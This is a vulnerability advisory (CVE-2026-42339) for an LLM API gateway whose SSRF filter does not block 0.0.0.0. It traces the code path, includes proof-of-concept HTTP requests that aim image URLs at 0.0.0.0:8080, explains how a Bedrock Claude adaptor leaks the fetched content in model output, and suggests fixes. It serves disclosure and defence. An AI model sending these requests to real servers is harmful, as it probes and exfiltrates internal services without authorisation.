CVE-2026-42339

Description

# SSRF Filter Bypass via `0.0.0.0` ### Summary The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address `0.0.0.0`. A regular (non-admin) user holding any valid API token can send a multimodal request to `/v1/chat/completions`, `/v1/responses`, or `/v1/messages` with `0.0.0.0` as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a **blind SSRF**; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a **full-read SSRF**. ### Details #### Root Cause `common/ssrf_protection.go` — `isPrivateIP()` (lines 33–47) checks the following ranges: - `10.0.0.0/8` - `172.16.0.0/12` - `192.168.0.0/16` - `127.0.0.0/8` - `169.254.0.0/16` - `224.0.0.0/4` - `240.0.0.0/4` **`0.0.0.0/8` is not checked.** On Linux, `0.0.0.0` resolves to the local machine, same as `127.0.0.1`. #### Default Fetch Settings `setting/system_setting/fetch_setting.go` (lines 16–24) defaults: - `EnableSSRFProtection: true` - `AllowPrivateIp: false` - `AllowedPorts: ["80", "443", "8080", "8443"]` - `ApplyIPFilterForDomain: true` So `0.0.0.0` on any of these four ports passes all checks. #### Data Flow (primary chain — `/v1/chat/completions`) ``` User API token → /v1/chat/completions (TokenAuth, no admin required) → messages[].content[].image_url.url = "http://0.0.0.0:8080/..." → dto/openai_request.go:111-117 createFileSource() recognises http(s):// as URL source → dto/openai_request.go:119-198 GetTokenCountMeta() collects image_url.url / file.file_data / video_url → service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true → service/file_service.go:135-143 loadFromURL() → DoDownloadRequest() → service/download.go:52-68 ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get() → Server issues real TCP connection to 0.0.0.0 ``` **Note on stream requirement:** `common/init.go` (lines 140–141) defaults `GET_MEDIA_TOKEN=true` but `GET_MEDIA_TOKEN_NOT_STREAM=false`, so `stream: true` is needed to trigger the fetch path. #### Additional Affected Endpoints The same `ValidateURLWithFetchSetting()` → `DoDownloadRequest()` sink is reachable from: | Endpoint | User-controlled field | Auth required | |---|---|---| | `/v1/chat/completions` | `image_url.url`, `file.file_data`, `video_url` | Regular user token | | `/v1/responses` | `input_file.file_url`, `input_image.image_url` | Regular user token | | `/v1/messages` | `source.url` (type: `"url"`) | Regular user token | | `/api/user/setting` | `webhook_url`, `bark_url`, `gotify_url` | Regular user (self) | #### Upgrade to Full-Read SSRF (conditional) `relay/channel/aws/adaptor.go` (lines 41–61) — `ConvertClaudeRequest()`: - If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content - When `source.type == "url"`, it calls `service.GetBase64Data()` which invokes the same `DoDownloadRequest()` path - The fetched content is rewritten to `type: "base64"` and inlined into the model request - The model then describes/transcribes the content in its response This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports. ### Proof of Concept **Prerequisites:** A regular user account with a valid API token. No admin privileges required. **Step 1 — Control group: `127.0.0.1` is blocked** ```http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json { "model": "gpt-4o-mini", "stream": true, "max_tokens": 1, "messages": [ { "role": "user", "content": [ {"type": "text", "text": "describe"}, { "type": "image_url", "image_url": { "url": "http://127.0.0.1:8080/probe.png", "detail": "low" } } ] } ] } ``` Response: ``` private IP address not allowed: 127.0.0.1 ``` **Step 2 — Experiment group: `0.0.0.0` bypasses the filter** ```http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json { "model": "gpt-4o-mini", "stream": true, "max_tokens": 1, "messages": [ { "role": "user", "content": [ {"type": "text", "text": "describe"}, { "type": "image_url", "image_url": { "url": "http://0.0.0.0:8080/probe.png", "detail": "low" } } ] } ] } ``` Response: ``` dial tcp 0.0.0.0:8080: connect: connection refused ``` The server attempted a real TCP connection — the SSRF filter was bypassed. **Step 3 — Confirm readback capability via multimodal model** ```http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json { "model": "claude-3-5-sonnet-latest", "stream": false, "max_tokens": 32, "messages": [ { "role": "user", "content": [ { "type": "text", "text": "Transcribe exactly the text in the image. Output only the text." }, { "type": "image_url", "image_url": { "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159", "detail": "low" } } ] } ] } ``` Response: ```json {"choices":[{"message":{"content":"READBACK-OK-314159"}}]} ``` This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on `0.0.0.0:<allowed-port>` returns image or document content, an attacker can exfiltrate it. ### Impact An authenticated regular user (no admin privileges) can: 1. **Probe localhost and internal services** — Determine open/closed ports on the server by observing `connection refused` vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443. 2. **Exfiltrate internal content** — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text). 3. **Bypass all previous SSRF mitigations** — This is a direct bypass of the `isPrivateIP()` check. No redirect chain, no DNS rebinding, no race condition required — just replacing `127.0.0.1` with `0.0.0.0`. Since user registration is often enabled by default, any registered user can exploit this. ### Suggested Fix 1. Add `0.0.0.0/8` to the deny list in `isPrivateIP()` (`common/ssrf_protection.go`) 2. Audit against the full [[IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/)](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for: - `0.0.0.0/8` ("This network") - `100.64.0.0/10` (Carrier-grade NAT) - `198.18.0.0/15` (Benchmarking) - IPv6 equivalents: `::1`, `::`, `[::]`, `fe80::/10` 3. Apply the same IP validation to post-redirect targets (already partially addressed in `service/http_client.go:24-33`, but does not help when the initial address itself bypasses the filter) ### Resources - **CVE-2025-59146** (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5 - **CVE-2025-62155** (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6